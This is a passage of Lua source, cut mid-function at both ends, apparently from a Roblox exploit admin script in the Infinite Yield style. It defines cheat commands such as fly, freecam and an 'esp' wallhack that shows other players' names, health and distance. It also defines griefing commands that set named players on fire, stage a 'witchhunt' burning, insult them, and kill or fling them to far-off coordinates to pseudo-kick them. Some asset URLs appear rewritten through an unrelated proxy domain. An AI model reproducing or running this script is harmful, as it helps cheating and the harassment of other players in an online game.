function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar=_char(v)
local AnimationId = "33796059"
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://"..AnimationId
local k = pchar.Humanoid:LoadAnimation(Anim)
k:Play()
k:AdjustSpeed(99)
end
end)

addcmd('dance','makes someone d a n c e',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar=_char(v)
local anim = nil
local dance1 = math.random(1,7)
if dance1 == 1 then
anim = '27789359'
end
if dance1 == 2 then
anim = '30196114'
end
if dance1 == 3 then
anim = '248263260'
end
if dance1 == 4 then
anim = '45834924'
end
if dance1 == 5 then
anim = '33796059'
end
if dance1 == 6 then
anim = '28488254'
end
if dance1 == 7 then
anim = '52155728'
end
local animation = Instance.new("Animation")
animation.AnimationId = "rbxassetid://"..anim
local animTrack = pchar.Humanoid:LoadAnimation(animation)
animTrack:Play()
end
end)

addcmd('plrsound','creates a sound inside of someone',{'playersound'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
if not args[1] and args[2] then return end
local pchar=_char(v)
for _, child in pairs( pchar:GetDescendants()) do
if child.ClassName == "Sound" then
child:Destroy() end end
local s = Instance.new("Sound")
s.Name = "IYplrsound"
s.SoundId = "http://www.roblox.com/asset/?id=" .. args[2]
s.Volume = 1
s.Pitch = 1
s.Looped = true
s.archivable = true
s.Parent = pchar.HumanoidRootPart
s:Play()
end
end)

addcmd('noplrsound','creates a sound inside of someone',


{'noplayersound','unplayersound','unplrsound'},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
if not args[1] then return end
local pchar=_char(v)
for _, child in pairs( pchar:GetDescendants()) do
if child.ClassName == "Sound" then
child:Destroy() end end
end
end)

addcmd('fly','makes you fly',{},


function(args, speaker)
if speaker.userId ~= LP.userId then
lponly(speaker)
else
sFLY()
end
end)

addcmd('flyspeed','set the fly speed',{'flysp'},


function(args, speaker)
if speaker.userId ~= LP.userId then
lponly(speaker)
else
if isNumber(args[1]) then
iyflyspeed = args[1]
end end end)

addcmd('unfly','takes away fly',{'nofly'},


function(args, speaker)
if speaker.userId ~= LP.userId then
lponly(speaker)
else
NOFLY()
end
end)

addcmd('exit','kills roblox process',{},


function(args, speaker)
if speaker.userId ~= LP.userId then
lponly(speaker)
else
game:shutdown()
end
end)

addcmd('fire', 'set a player on fire',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
local pchar=_char(v)
local Fire1 = Instance.new("Fire", pchar.Head)
local Fire2 = Instance.new("Fire", pchar.HumanoidRootPart)
local Fire3 = Instance.new("Fire", pchar["Left Arm"])
local Fire4 = Instance.new("Fire", pchar["Right Arm"])
local Fire5 = Instance.new("Fire", pchar["Left Leg"])
local Fire6 = Instance.new("Fire", pchar["Right Leg"])
if not args[2] then return end
Fire1.Color = Color3.fromRGB((args[2]),(args[3]),(args[4]))
Fire1.SecondaryColor = Color3.new((args[2]),(args[3]),(args[4]))
Fire2.Color = Color3.fromRGB((args[2]),(args[3]),(args[4]))
Fire2.SecondaryColor = Color3.new((args[2]),(args[3]),(args[4]))
Fire3.Color = Color3.fromRGB((args[2]),(args[3]),(args[4]))
Fire3.SecondaryColor = Color3.new((args[2]),(args[3]),(args[4]))
Fire4.Color = Color3.fromRGB((args[2]),(args[3]),(args[4]))
Fire4.SecondaryColor = Color3.new((args[2]),(args[3]),(args[4]))
Fire5.Color = Color3.fromRGB((args[2]),(args[3]),(args[4]))
Fire5.SecondaryColor = Color3.new((args[2]),(args[3]),(args[4]))
Fire6.Color = Color3.fromRGB((args[2]),(args[3]),(args[4]))
Fire6.SecondaryColor = Color3.fromRGB((args[2]),(args[3]),(args[4]))
end)
end
end)

addcmd('discomesh', 'body parts get f u n k y',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
local plr = _players[v]
local meshes = {"Brick","Cylinder","Head","Sphere","Torso","Wedge"}
local h = _players[v].Character.Head.Mesh
local t = Instance.new("SpecialMesh",_players[v].Character.Torso)
local la = Instance.new("SpecialMesh",_players[v].Character["Left Arm"])
local ra = Instance.new("SpecialMesh",_players[v].Character["Right Arm"])
local ll = Instance.new("SpecialMesh",_players[v].Character["Left Leg"])
local rl = Instance.new("SpecialMesh",_players[v].Character["Right Leg"])
while true do wait()
h.MeshType = meshes[math.random(1,#meshes)]
h.Offset = Vector3.new(math.random() * 2 - 1,math.random() * 2 - 1,math.random() *
2 - 1);
h.Parent.BrickColor = BrickColor.Random()
t.MeshType = meshes[math.random(1,#meshes)]
t.Offset = Vector3.new(math.random() * 2 - 1,math.random() * 2 - 1,math.random() *
2 - 1);
t.Parent.BrickColor = BrickColor.Random()
la.MeshType = meshes[math.random(1,#meshes)]
la.Offset = Vector3.new(math.random() * 2 - 1,math.random() * 2 - 1,math.random() *
2 - 1);
la.Parent.BrickColor = BrickColor.Random()
ra.MeshType = meshes[math.random(1,#meshes)]
ra.Offset = Vector3.new(math.random() * 2 - 1,math.random() * 2 - 1,math.random() *
2 - 1);
ra.Parent.BrickColor = BrickColor.Random()
ll.MeshType = meshes[math.random(1,#meshes)]
ll.Offset = Vector3.new(math.random() * 2 - 1,math.random() * 2 - 1,math.random() *
2 - 1);
ll.Parent.BrickColor = BrickColor.Random()
rl.MeshType = meshes[math.random(1,#meshes)]
rl.Offset = Vector3.new(math.random() * 2 - 1,math.random() * 2 - 1,math.random() *
2 - 1);
rl.Parent.BrickColor = BrickColor.Random()
end end) end end)

addcmd('chickenarms', 'I can fly!!1',{'chicken'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
local Chicken = _players[v].Character
Chicken.Torso["Left Shoulder"].C0 = CFrame.new(-1.5, 0.5, 0) *
CFrame.fromEulerAnglesXYZ(0,math.pi/2,0) * CFrame.fromEulerAnglesXYZ(math.pi/2, 0,
0) * CFrame.fromEulerAnglesXYZ(0,-math.pi/2,0)
Chicken.Torso["Left Shoulder"].C1 = CFrame.new(0, 0.5, 0)
Chicken.Torso["Right Shoulder"].C0 = CFrame.new(1.5, 0.5, 0) *
CFrame.fromEulerAnglesXYZ(0,-math.pi/2,0) * CFrame.fromEulerAnglesXYZ(math.pi/2, 0,
0) * CFrame.fromEulerAnglesXYZ(0,-math.pi/2,0)
Chicken.Torso["Right Shoulder"].C1 = CFrame.new(0, 0.5, 0)
end) end end)

addcmd('esp', 'view a player and a players status',{},


function(args, speaker)
if speaker.userId ~= LP.userId then
lponly(speaker)
else
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
for _, child in pairs( game["CoreGui"]:GetChildren()) do
if child.Name == gPlayers[v].Name then
child:Destroy()
end end wait(0.5)
local m = game["Players"].LocalPlayer:GetMouse()
local rs = game:GetService("RunService").RenderStepped
local espplr = gPlayers[v]
if espplr.Character and espplr.Name ~= _players.LocalPlayer.Name then
for b,n in pairs (espplr.Character:GetChildren()) do
if (n:IsA("BasePart")) then
local a = Instance.new("BoxHandleAdornment", game.CoreGui)
a.Name = espplr.Name
a.Adornee = n
a.AlwaysOnTop = true
a.ZIndex = 0
a.Size = n.Size
a.Transparency = 0.7
local resetting = false
if espplr.TeamColor == _players.LocalPlayer.TeamColor then
a.Color = BrickColor.new("Lime green")
else
a.Color = BrickColor.new("Really red")
end
if espplr.Character and espplr.Character:FindFirstChild('Head')
then
local BillboardGui = Instance.new("BillboardGui", game.CoreGui)
local TextLabel = Instance.new("TextLabel")
BillboardGui.Adornee = espplr.Character.Head
BillboardGui.Name = espplr.Name
BillboardGui.Size = UDim2.new(0, 100, 0, 150)
BillboardGui.StudsOffset = Vector3.new(0, 1, 0)
BillboardGui.AlwaysOnTop = true
TextLabel.Parent = BillboardGui
TextLabel.BackgroundTransparency = 1
TextLabel.Position = UDim2.new(0, 0, 0, -50)
TextLabel.Size = UDim2.new(0, 100, 0, 100)
TextLabel.Font = Enum.Font.SourceSansSemibold
TextLabel.TextSize = 20
TextLabel.TextColor3 = Color3.new(1, 1, 1)
TextLabel.TextStrokeTransparency = 0
TextLabel.TextYAlignment = Enum.TextYAlignment.Bottom
espplr.Character:WaitForChild("Humanoid").Died:connect(function()
BillboardGui:Destroy() a:Destroy() end)
_players.PlayerRemoving:connect(function(player)
if player.Name == espplr.Name then
BillboardGui:Destroy() a:Destroy()
end end)
game:GetService("RunService").RenderStepped:Connect(function()
if espplr.Character ~= nil and espplr.Character.Parent ~= nil and
espplr.Character:FindFirstChild('HumanoidRootPart') and
espplr.Character:FindFirstChild('Humanoid') and
game.CoreGui:FindFirstChild(espplr.Name) then
local pos =
math.floor((_players.LocalPlayer.Character.HumanoidRootPart.Position -
espplr.Character.HumanoidRootPart.Position).magnitude)
TextLabel.Text = 'Name: '..espplr.Name..' | Health:
'..espplr.Character.Humanoid.Health..' | Studs: '..pos else
BillboardGui:Destroy() a:Destroy() end end)
end
end
end
end
end)
end
end
end)

addcmd('noesp', 'removes esp',{'unesp'},


function(args, speaker)
if speaker.userId ~= LP.userId then
lponly(speaker)
else
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
for _, child in pairs( game["CoreGui"]:GetChildren()) do
if child.Name == gPlayers[v].Name then
child:Destroy()
end
end end) end end end)

addcmd('nofire', 'extinguish a player',{'unfire'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar=_char(v)
for j,v1 in pairs(pchar:GetDescendants()) do
if v1:IsA("Fire") then
v1:Destroy()
end end end end)

addcmd('shiny', 'makes a player shine',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
local pchar=_char(v)
for i,v in pairs(pchar:GetChildren()) do
if v.ClassName == "Decal" or v.ClassName == "Texture" then
v:Destroy() end
if v.ClassName == "Part" or v.ClassName == "WedgePart" or v.ClassName ==
"TrussPart" or v.ClassName == "UnionOperation" or v.ClassName == "CornerWedgePart"
then
v.Reflectance = 1
v.Material = "Plastic"
end
end
end)
end
end)

addcmd('light', 'givs em light',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
local pchar=_char(v)
for j,v1 in pairs(pchar.HumanoidRootPart:GetChildren()) do
if v1:IsA("PointLight") then
v1:Destroy()
end
end
local light = Instance.new("PointLight", pchar.HumanoidRootPart)
light.Range = 12
light.Brightness = 3
if not args[2] then return end
light.Color = Color3.fromRGB((args[2]),(args[3]),(args[4]))
light.Range = 12
light.Brightness = 3
end)
end
end)

addcmd('begone', 'BEGONE THOT',{'thot'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
local thotbottle =
game:GetService("InsertService"):LoadLocalAsset("rbxassetid://01422895508")
local pchar=_char(v)
thotbottle.Name = 'THOT BEGONE'
thotbottle.Handle:Destroy()
execCmd('freeze '..gPlayers[v].Name)
execCmd('name '..gPlayers[v].Name..' THOT')
execCmd('spasm '..gPlayers[v].Name)
thotbottle.Parent = pchar
thotbottle:MoveTo(pchar.HumanoidRootPart.Position + Vector3.new(0, 0,
7))
local cf = pchar.HumanoidRootPart.CFrame
local newcf = cf + cf.lookVector * 6
thotbottle.Head.CFrame = newcf
local s = Instance.new("Sound")
s.Name = "BEGONE"
s.SoundId = "http://www.roblox.com/asset/?id=1095911222"
s.Volume = 10
s.Parent = thotbottle
s:play()
local d = Instance.new("Sound")
d.Name = "WuOOOH"
d.SoundId = "http://www.roblox.com/asset/?id=253143032"
d.Volume = 5
d.Parent = pchar
wait(4)
if gPlayers[v] then
execCmd('thaw '..gPlayers[v].Name)
execCmd('fling '..gPlayers[v].Name)
thotbottle:Destroy()
d:play()
end if gPlayers[v] then
wait(3)
execCmd('explode '..gPlayers[v].Name)
pchar:BreakJoints() end
end)
end
end)

addcmd('glowstick', 'givs em glo stik',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
System = {}
System.Create = function(a, c)
local e = Instance.new(a)
for d, a in pairs(c) do
local b, a = ypcall(function()
return e[d]
end)
if b then
e[d] = c[d]
end
end
return e
end
function b(d, b)
local c = getfenv(d)
local a = setmetatable({}, {
__index = function(a, a)
if a:lower() == 'script' then
return b
else
return c[a]
end
end
})
setfenv(d, a)
ypcall(function()
d()
end)
end
c = {}
mas = Instance.new("Model",game:GetService("Lighting"))
mas.Name = "CompiledModel"
o1 = System.Create("Tool",{
["Name"] = "Glow Stick",
["Parent"] = mas,
["GripPos"] = Vector3.new(0, -0.300000012, 0),
["CanBeDropped"] = false,
})
o2 = System.Create("Part",{
["Name"] = "Handle",
["Parent"] = o1,
["Transparency"] = 0.10000000149012,
["Position"] = Vector3.new(-9.38995171, 2.20000148, 42.3300056),
["Rotation"] = Vector3.new(-180, 0, 0),
["CFrame"] = CFrame.new(-9.38995171, 2.20000148, 42.3300056, 1, 0, 0, 0, -1, 0, 0,
0, -1),
["FormFactor"] = Enum.FormFactor.Custom,
["Size"] = Vector3.new(0.200000033, 1.80000019, 1),
["BottomSurface"] = Enum.SurfaceType.Weld,
["TopSurface"] = Enum.SurfaceType.Weld,
["Material"] = "Neon",
})
o3 = System.Create("PointLight",{
["Parent"] = o2,
["Brightness"] = 8,
["Range"] = 14,
})
o4 = System.Create("CylinderMesh",{
["Parent"] = o2,
})
if not args[2] then
o2.Color = Color3.new(1,1,1)
o3.Color = Color3.new(1,1,1) else
o2.Color = Color3.fromRGB((args[2]),(args[3]),(args[4]))
o3.Color = Color3.fromRGB((args[2]),(args[3]),(args[4])) end
mas.Parent = workspace
mas:MakeJoints()
local b = mas:GetChildren()
for a = 1, #b do
b[a].Parent = gPlayers[v].Backpack
ypcall(function()
b[a]:MakeJoints()
end)
end
mas:Destroy()
for a = 1, #c do
coroutine.resume(c[a])
end
end)
end
end)

addcmd('keybind','Binds a command to a key',{},


function(args,speaker)
if speaker.userId ~= LP.userId then
lponly(speaker) else
if #args < 2 then return end
local key = string.lower(args[1])
if #key > 1 or key == cmdbarbind then return end
local cmdText = GLS(false,1)
local cas = game:GetService("ContextActionService")
cas:BindAction("Keybind"..key,function(action,state,obj)
if state == Enum.UserInputState.Begin then
execCmd(cmdText,speaker)
end
end,false,key)
Notify("Binded "..cmdText.." to "..key)
end
end)

addcmd('unkeybind','Removes a binded command from a key',{'unbind'},


function(args,speaker)
if speaker.userId ~= LP.userId then
lponly(speaker) else
if #args < 1 then return end
local key = string.lower(args[1])
game:GetService("ContextActionService"):UnbindAction("Keybind"..key)
Notify("Unbinded "..key)
end
end)
addcmd('trail', 'spawns a trail behind a player',{},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
local pchar=_char(v)
for j,v1 in pairs(pchar.Torso:GetChildren()) do
if v1.Name == "TRAIL" then
v1:Destroy()
end
end
if args[2] then
color1 = Color3.fromRGB(args[2],args[3],args[4])
color2 = Color3.new(0,0,0) else
color1 = Color3.new(1,1,1)
color2 = Color3.new(0,0,0) end
if pchar:FindFirstChild("Torso") then
local e = Instance.new("Trail", pchar.Torso)
e.Name = "TRAIL"
e.FaceCamera = true
e.Color = ColorSequence.new(color1,color2)
e.Attachment0 = pchar.Torso.WaistCenterAttachment
e.Attachment1 = pchar.Torso.NeckAttachment
end
end)
end
end)

addcmd('untrail', 'deletes the trail behind a player',{'notrail'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
local pchar=_char(v)
for j,v1 in pairs(pchar.Torso:GetChildren()) do
if v1.Name == "TRAIL" then
v1:Destroy()
end
end
end)
end
end)

local fa = false
local cam = workspace.CurrentCamera
local cam1 = 0
local cam2 = 0
local cam3 = 0
local k1 = false
local k2 = false
local k3 = false
local k4 = false
local k5 = false
local k6 = false
cs = 0.5
function movecam()
local fc =
game:GetService('Players').LocalPlayer.Character:FindFirstChild('xFC')
if fa == false then
repeat
if
game:GetService('Players').LocalPlayer.Character:FindFirstChild('xFC') then
local fp = fc.Position
fc.CFrame =
CFrame.new(Vector3.new(fp.X,fp.Y+cam3,fp.Z),cam.CFrame.p)*CFrame.new(cam2,0,cam1)
fa = true
end
game:GetService('RunService').RenderStepped:Wait()
until not
game:GetService('Players').LocalPlayer.Character:FindFirstChild('xFC')
fa = false
end
end
function kp1(inputObject, gameProcessedEvent)
if not gameProcessedEvent and
game:GetService('Players').LocalPlayer.Character and
game:GetService('Players').LocalPlayer.Character:FindFirstChild('xFC') then
if inputObject.KeyCode == Enum.KeyCode.W or inputObject.KeyCode ==
Enum.KeyCode.Up then
k1 = true
cam1 = cs end
if inputObject.KeyCode == Enum.KeyCode.S or inputObject.KeyCode ==
Enum.KeyCode.Down then
k2 = true
cam1 = (cs*-1) end
if inputObject.KeyCode == Enum.KeyCode.A or inputObject.KeyCode ==
Enum.KeyCode.Left then
k3 = true
cam2 = cs end
if inputObject.KeyCode == Enum.KeyCode.D or inputObject.KeyCode ==
Enum.KeyCode.Right then
k4 = true
cam2 = (cs*-1) end
if inputObject.KeyCode == Enum.KeyCode.E or inputObject.KeyCode ==
Enum.KeyCode.Space then
k5 = true
cam3 = cs end
if inputObject.KeyCode == Enum.KeyCode.Q or inputObject.KeyCode ==
Enum.KeyCode.LeftControl then
k6 = true
cam3 = (cs*-1) end
end
end
game:GetService("UserInputService").InputBegan:connect(kp1)
function kp2(inputObject, gameProcessedEvent)
if not gameProcessedEvent and
game:GetService('Players').LocalPlayer.Character and
game:GetService('Players').LocalPlayer.Character:FindFirstChild('xFC') then
if inputObject.KeyCode == Enum.KeyCode.W or inputObject.KeyCode ==
Enum.KeyCode.Up then
k1 = false
if k2 == false then
cam1 = 0
end
end
if inputObject.KeyCode == Enum.KeyCode.S or inputObject.KeyCode ==
Enum.KeyCode.Down then
k2 = false
if k1 == false then
cam1 = 0
end
end
if inputObject.KeyCode == Enum.KeyCode.A or inputObject.KeyCode ==
Enum.KeyCode.Left then
k3= false
if k4== false then
cam2 = 0
end
end
if inputObject.KeyCode == Enum.KeyCode.D or inputObject.KeyCode ==
Enum.KeyCode.Right then
k4 = false
if k3 == false then
cam2 = 0
end
end
if inputObject.KeyCode == Enum.KeyCode.E or inputObject.KeyCode ==
Enum.KeyCode.Space then
k5 = false
if k6 == false then
cam3 = 0
end
end
if inputObject.KeyCode == Enum.KeyCode.Q or inputObject.KeyCode ==
Enum.KeyCode.LeftControl then
k6 = false
if k5 == false then
cam3 = 0
end
end
end
end
game:GetService("UserInputService").InputEnded:connect(kp2)
function FC()
if not game:GetService('Players').LocalPlayer.Character:FindFirstChild('xFC')
then

game:GetService('Players').LocalPlayer.PlayerScripts.ControlScript.Disabled =
true
local fc =
Instance.new('Part',game:GetService('Players').LocalPlayer.Character)
fc.CanCollide = false
fc.Anchored = true
fc.Transparency = 1
fc.Size = Vector3.new(1,1,1)
fc.Name = 'xFC'
fc.CFrame =
game:GetService('Players').LocalPlayer.Character.Head.CFrame
local cam = workspace.CurrentCamera
cam.CameraSubject = fc
cam.CameraType = 'Custom'
movecam()
end end
function UFC()
game:GetService('Players').LocalPlayer.PlayerScripts.ControlScript.Disabled =
false
if game:GetService('Players').LocalPlayer.Character:FindFirstChild('xFC')
then

game:GetService('Players').LocalPlayer.Character:FindFirstChild('xFC'):Destroy()
local cam = workspace.CurrentCamera
cam.CameraSubject =
game:GetService('Players').LocalPlayer.Character.Humanoid
cam.CameraType = 'Custom'
end end

addcmd('freecam','freecam',{'fc'},
function(args, speaker)
if speaker.userId ~= LP.userId then
lponly(speaker)
else
FC()
end
end)

addcmd('fixcam','fixes camera',{},
function(args, speaker)
if speaker.userId ~= LP.userId then
lponly(speaker)
else
workspace.CurrentCamera:remove()
wait(.1)
workspace.CurrentCamera.CameraSubject = LP.Character.Humanoid
workspace.CurrentCamera.CameraType = "Custom"
LP.CameraMinZoomDistance = 0.5
LP.CameraMaxZoomDistance = 400
LP.CameraMode = "Classic"
end
end)

addcmd('witchhunt', 'deletes the trail behind a player',{'burn','witch'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar=_char(v)
local char = pchar
local hum = char.Humanoid
for k,c in pairs(char:children()) do if c:IsA("Part") and
c.Name~="HumanoidRootPart" then c.Anchored=true end end
hum.HealthDisplayDistance = 0
--execcmd god
local stake = Instance.new("Part",char)
stake.Anchored = true
stake.BrickColor = BrickColor.new("Reddish brown")
stake.Material = "Wood"
stake.Size = Vector3.new(1,7,1)
stake.CFrame = char.Torso.CFrame*CFrame.new(0,0,1)
local hay = Instance.new("Part",char)
hay.Anchored = true
hay.Material = "Grass"
hay.BrickColor = BrickColor.new("New Yeller")
hay.Size = Vector3.new(6,1,5)
hay.CFrame = char.Torso.CFrame*CFrame.new(0,-
3,0)*CFrame.Angles(0,2,0)
local hay2 = hay:clone()
hay2.Parent = char
hay2.CFrame = char.Torso.CFrame*CFrame.new(0,-
2.6,0)*CFrame.Angles(0,6,0)
local fire = Instance.new("Fire",hay)
fire.Enabled = false
fire.Heat = 25
fire.Size = 2
fire.Color = Color3.new(170/255,85/255,0)
local smoke = Instance.new("Smoke",hay)
smoke.Enabled = false
smoke.Opacity = 1
smoke.RiseVelocity = 25
smoke.Size = 15
smoke.Color = Color3.new(0,0,0)
local light = Instance.new("PointLight",hay)
light.Color = Color3.new(170/255,85/255,0)
light.Range = 0
light.Brightness = 1
light.Enabled = false
--[[]]
local crack = Instance.new("Sound",hay)
crack.SoundId = "rbxassetid://239443642"
crack.Looped = true
crack.Volume = 0
local scream = Instance.new("Sound",char.Torso)
scream.SoundId = "rbxassetid://264227115"
scream.Looped = true
scream.Volume = 0
--]]
wait()
char['Left Arm'].CFrame = char.Torso.CFrame * CFrame.new(-
0.8,0,0.7) * CFrame.Angles(-1,0,0.5)
char['Right Arm'].CFrame = char.Torso.CFrame *
CFrame.new(0.8,0,0.7) * CFrame.Angles(-1,0,-0.5)

local bods = char['Body Colors']


local colors = {
--"Really red";
"Bright red";
"Crimson";
"Maroon";
"Really black";
}

fire.Enabled=true
smoke.Enabled=true
light.Enabled=true
crack:Play()
scream:Play()
scream.Pitch = 0.8
--scream.Volume = 0.5
for i=1,30 do
crack.Volume = crack.Volume+(1/30)
scream.Volume = crack.Volume
fire.Size=i
smoke.RiseVelocity=i-5
smoke.Size=i/2
light.Range=i*2
wait(1)
end

for i=1,#colors do
bods.HeadColor=BrickColor.new(colors[i])
bods.LeftArmColor=BrickColor.new(colors[i])
bods.LeftLegColor=BrickColor.new(colors[i])
bods.RightArmColor=BrickColor.new(colors[i])
bods.RightLegColor=BrickColor.new(colors[i])
bods.TorsoColor=BrickColor.new(colors[i])
hay.BrickColor=BrickColor.new(colors[i])
hay2.BrickColor=BrickColor.new(colors[i])
stake.BrickColor=BrickColor.new(colors[i])
wait(5)
end
wait(10)
scream.Volume = 0.5
wait(1)
scream:Stop()
char:BreakJoints()
end
end)

addcmd('unfreecam','unfreecam',{'nofreecam','unfc','nofc'},
function(args, speaker)
if speaker.userId ~= LP.userId then
lponly(speaker)
else
UFC()
end
end)

addcmd('freecamspeed','unfreecam',{'fcspeed'},
function(args, speaker)
if speaker.userId ~= LP.userId then
lponly(speaker)
else
if isNumber(args[1]) then
cs = args[1]
end end end)

addcmd('nolight', 'no more light',{'unlight'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar=_char(v)
for j,v1 in pairs(pchar.HumanoidRootPart:GetChildren()) do
if v1:IsA("PointLight") then
v1:Destroy()
end
end
end
end)

addcmd('ball', 'makes a hamster ball for a player',{'hamsterball'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar=_char(v)
scale = 10
function weld(tab)
local last = nil
for i,v in pairs(tab) do
if v:IsA("BasePart") then
if last then
local w = Instance.new("Weld",last)
w.Part0 = w.Parent
w.Part1 = v
local pos = last.CFrame:toObjectSpace(v.CFrame)
w.C0 = pos
end
last = v
end
end
end

function makeball(pos)
local model = Instance.new("Model",workspace)
model.Name = gPlayers[v].Name .. "ball"
local rand = BrickColor.Random()
pchar.Head.Anchored = true
for i=0,340,20 do
wait()
for z=-90,70,20 do
local p = Instance.new("Part",model)
p.formFactor = "Custom"
p.BrickColor = rand
p.Transparency = 0.5
p.Size = Vector3.new(scale/5.5,scale/5.5,scale/140)
p.Anchored = true
p.TopSurface = 0
p.BottomSurface = 0
p.CFrame = CFrame.new(pos) *
CFrame.Angles(math.rad(z),math.rad(i),0) * CFrame.new(0,0,-scale/2)
p:breakJoints()
end
end
weld(model:children())
for i,v in pairs(model:children()) do v.Anchored = false end
pchar.Head.Anchored = false
model:MakeJoints()
end

if pchar then
makeball(pchar.HumanoidRootPart.Position+Vector3.new(0,scale/2-
2.5,0))
end
end
end)

addcmd('unball', 'makes a hamster ball for a player',


{'unhamsterball','noball','nohamsterball'},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar=_char(v)
for _, child in pairs( workspace:GetChildren()) do
if child.Name == gPlayers[v].Name .. "ball" then
child:Destroy()
end
end
end
end)

local fastwait = function(time)


local expire = tick()+(time or 0.02999999999999999889)
while game:GetService("RunService").Heartbeat:wait() do
if tick() >= expire then return true end
end
end

function arrest(name)
spawn(function()
local p = game:GetService("Players"):FindFirstChild(name)
local char = p.Character
local torso =
p.Character:FindFirstChild("HumanoidRootPart")
local humanoid =
p.Character:FindFirstChild("Humanoid")
if torso and humanoid and not
char:FindFirstChild("ADONIS_VAN") then
local van =
game:GetService("InsertService"):LoadLocalAsset("rbxassetid://01308109587")
if van then
local function check()
if not van or not van.Parent
or not p or p.Parent ~= game:GetService("Players") or not torso or not humanoid or
not torso.Parent or not humanoid.Parent or not char or not char.Parent then
return false
else
return true
end
end

--local driver = van.Driver


--local grabber = van.Clown
local primary = van.Primary
--local door = van.Door
local tPos = torso.CFrame

local sound =
Instance.new("Sound",primary)
sound.SoundId =
"rbxassetid://258529216"
sound.Looped = true
sound:Play()

local chuckle =
Instance.new("Sound",primary)
chuckle.SoundId =
"rbxassetid://175964948"
chuckle.Looped = true
chuckle.Volume = 0.5
chuckle:Play()

van.PrimaryPart = van.Primary
van.Name = "ADONIS_VAN"
van.Parent = workspace
humanoid.Name = "NoResetForYou"
humanoid.WalkSpeed = 0
sound.Pitch = 1.3

local music =
workspace:FindFirstChild("COPSONG") or Instance.new("Sound",workspace)
music.Name = "COPSONG"
music.SoundId =
"rbxassetid://132007810"
music.Volume = 1
music.Looped = true
if not music.Playing then
music:Play() end

spawn(function()
while fastwait(0.2) do

van.Body.Lightbar.Red.PointLight.Enabled = true

van.Body.Lightbar.Blue.PointLight.Enabled = false
fastwait(0.2)

van.Body.Lightbar.Red.PointLight.Enabled = false

van.Body.Lightbar.Blue.PointLight.Enabled = true
end
end)

for i = 1,200 do
if not check() then
break
else

van:SetPrimaryPartCFrame(tPos*(CFrame.new(-200+i,-1,-
7)*CFrame.Angles(0,math.rad(270),0)))
fastwait(0.001*(i/5))
end
end

sound.Pitch = 0.9

fastwait(0.5)
if check() then
--door.Transparency = 1
end

local freeze =
Instance.new("Sound",primary)
freeze.SoundId =
"rbxassetid://163732279"
freeze.Volume = 5
freeze:Play()

fastwait(3)

if check() then
torso.CFrame =
primary.CFrame*(CFrame.new(0,2.3,0)*CFrame.Angles(0,math.rad(90),0))
end

fastwait(0.5)
if check() then
--door.Transparency = 0
end
fastwait(0.5)

sound.Pitch = 1.3
local gui =
Instance.new("ScreenGui")
local frame =
Instance.new("Frame",gui)
frame.BackgroundTransparency = 1
frame.BackgroundColor3 =
Color3.new(0,0,0)
frame.Position = UDim2.new(0,0,0,-
36)
frame.Size = UDim2.new(1,0,1,36)
spawn(function()
for i = 1,0,-0.01 do

frame.BackgroundTransparency = i
fastwait(0.1)
end
frame.BackgroundTransparency
= 0
end)

p.CameraMaxZoomDistance = 0.5

torso.Anchored = true

for i = 1,400 do
if not check() then
break
else

van:SetPrimaryPartCFrame(tPos*(CFrame.new(0+i,-1,-
7)*CFrame.Angles(0,math.rad(270),0)))
torso.CFrame =
primary.CFrame*(CFrame.new(0,-0.4,0)*CFrame.Angles(0,math.rad(90),0))
fastwait(0.1/(i*5))

if i == 270 then
music.Volume = 5
end
end
end

local function KICK(P)


spawn(function()
if not FindTable(WL, P.Name) then
for i = 1,5 do
if P.Character and P.Character:FindFirstChild('HumanoidRootPart')
then
P.Character.HumanoidRootPart.CFrame =
CFrame.new(math.random(999000, 1001000), 1000000, 1000000)
local SP = Instance.new('SkateboardPlatform', P.Character)
SP.Position = P.Character.HumanoidRootPart.Position SP.Transparency = 1
spawn(function()
repeat fastwait()
if P.Character and
P.Character:FindFirstChild('HumanoidRootPart') then SP.Position =
P.Character.HumanoidRootPart.Position end
until not
game:GetService("Players"):FindFirstChild(P.Name)
end)
P.Character.HumanoidRootPart.Anchored = true
end
end
end
end)
end

if p and p.Parent ==
game:GetService("Players") then
if p ==
game:GetService("Players").LocalPlayer then
fastwait(5)
end
torso.Anchored = false

p.CharacterAdded:Connect(function()
fastwait()
KICK(p)
end)
KICK(p)
end
fastwait(0.5)
pcall(function() van:Destroy() end)
pcall(function() gui:Destroy() end)
if not
workspace:FindFirstChild("ADONIS_VAN") then
music:Destroy()
end
end
end
end)
end

addcmd('arrest', 'arrests player',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
arrest(gPlayers[v].Name)
end
end)

addcmd('nodummies', 'clears dummies',{},


function(args, speaker)
